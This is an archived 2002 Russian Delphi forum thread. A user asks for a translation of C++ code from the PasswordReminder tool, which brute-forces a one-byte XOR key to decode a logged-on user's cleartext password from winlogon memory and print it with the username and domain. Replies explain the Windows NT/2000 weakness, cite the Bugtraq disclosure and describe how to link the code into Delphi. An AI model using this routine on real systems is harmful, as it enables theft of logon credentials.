Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2003.01.13;
Скачать: CL | DM;

Вниз

Помогите перевести код!   Найти похожие ветки 

 
SVM   (2002-11-21 14:36) [0]

Есть код на C++, необходимо перевести на DELPHI.
Всем заранее спасибо!

void
DisplayPasswordWin2K
(void)
{
DWORD i, Hash = 0;
UNICODE_STRING EncodedString;
EncodedString.Length =
(USHORT) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
for (i = 0; i <= 0xff; i++)
{
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - try to decode the password.
pfnRtlRunDecodeUnicodeString
((BYTE) i,
&EncodedString);
// Check for a viewable password.
PBYTE p = (PBYTE) EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;
for (j = 0; (j < PasswordLength) && Viewable; j++)
{
if ((*p)
&&
(* (PBYTE)(DWORD (p) + 1) == 0))
{
if (*p < 0x20)
Viewable = FALSE;
if (*p > 0x7e)
Viewable = FALSE;
}
else
Viewable = FALSE;
k = DWORD (p);
k++; k++;
p = (PBYTE) k;
}
if (Viewable)
{
printf
("The logon information is: %S/%S/%S.\n",
UserDomain,
UserName,
EncodedString.Buffer);
printf
("The hash byte is: 0x%2.2x.\n",
i);
}
}
HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWin2K


 
Игорь Шевченко ©   (2002-11-21 14:53) [1]

А вот хренушки... :-)


 
cdadmitriy ©   (2002-11-21 14:58) [2]

А сначало полный код можно ?


 
paul_shmakov ©   (2002-11-21 16:48) [3]

автор полного кода - Russ Osterlund ( http://www.smidgeonsoft.com/). программа называется PasswordReminder. основана на том факте, что по nt/2k имя пользователя и пароль в открытом виде хранятся в процессе winlogon.exe (при условии использования стандартной gina dll). хранятся они там для осуществления аутентификации на удаленных машинах, хотя по идее для этих целей должен использоваться токен пользователя.

2 SVM:
надежда, что кто-то за вас выполнит тупую работу - это плохо :)


 
Игорь Шевченко ©   (2002-11-21 17:06) [4]

paul_shmakov © (21.11.02 16:48)

А Руссинович пишет, что Token используется...


 
apay ©   (2002-11-21 19:28) [5]

а зачем переводить-то :), компильни в .obj и прилинкуй в дельфях:
{$L myobj.obj}


 
raven79   (2002-11-21 19:32) [6]

можно и так... но я так смотрю врод не сложно и переводить...


 
paul_shmakov ©   (2002-11-21 21:01) [7]

2 Игорь Шевченко:
конечно, по всем правилам (да и по логике вещей) должен использоваться токен, но когда Russ Osterlund обнаружил, что пароль лежит в открытом виде (почти, он проксорен), то сразу стали искать, а где к нему обращения есть. в результате поиска выяснилось, что он используется при авторизации на удаленных машинах.
вот такие пироги.

см. изначальный пост в bugtraq
http://archives.neohapsis.com/archives/ntbugtraq/1998-1999/msg00178.html

там внизу ссылка - ответ Dave Mills.


 
paul_shmakov ©   (2002-11-21 21:03) [8]

кстати, Russell Osterlund является главным инженером BoundChecker в NuMega :) вот и получается, что ближе к ядру, тем меньше случайных людей :)


 
SVM   (2002-11-21 21:15) [9]

Мда, думается, что мне никто не поможет...

2 apay Никогда с этим не сталкивался, можно поподробнее pliz


 
Игорь Шевченко ©   (2002-11-22 10:44) [10]

paul_shmakov © (21.11.02 21:01)

Руссинович про Win2K пишет, может, там оно уже поправлено ? :-)


 
paul_shmakov ©   (2002-11-22 12:41) [11]

2 Игорь Шевченко:
программа PasswordReminder под w2k прекрасно работает :) т.е. пароль все так же хранится в адресном пространстве winlogon.
единственное, что они поправили - в win2k вместе с паролем не хранится байт, с которым этот пароль проксорен (в nt хранился). но и эта проблема легко решается перебором 256 вариантов (см. код вверху).


 
Игорь Шевченко ©   (2002-11-22 12:44) [12]

paul_shmakov © (22.11.02 12:41)

Спасибо. Осталось под WinXP проверить :-) Там, вроде, много дырок заткнули...

С уважением,


 
apay ©   (2002-11-22 20:05) [13]

2 SVM
компилишь в .obj любым C-компилятором, который делает OMF, например борландовским bcc32.exe, потом в делфях пишешь

{$L myfile.obj}
procedure DisplayPasswordWin2K; external;

только printf может мешаться, но его можно заменить на апишную wsprintfA (на сях придетсянемного подправить).
но еще лучше подучить C++.



Страницы: 1 вся ветка

Текущий архив: 2003.01.13;
Скачать: CL | DM;

Наверх




Память: 0.49 MB
Время: 0.021 c
1-37181
race1
2002-12-30 12:00
2003.01.13
опять :)


1-37104
Алексей П
2003-01-03 14:10
2003.01.13
Классы


1-37133
Eugenex
2002-12-29 11:49
2003.01.13
Предновогодний глюк!


1-37208
maxim2
2002-12-31 09:18
2003.01.13
Undeclared identifier VarToStr что за ошибка ???


14-37291
ZORRO
2002-12-20 09:51
2003.01.13
Сайт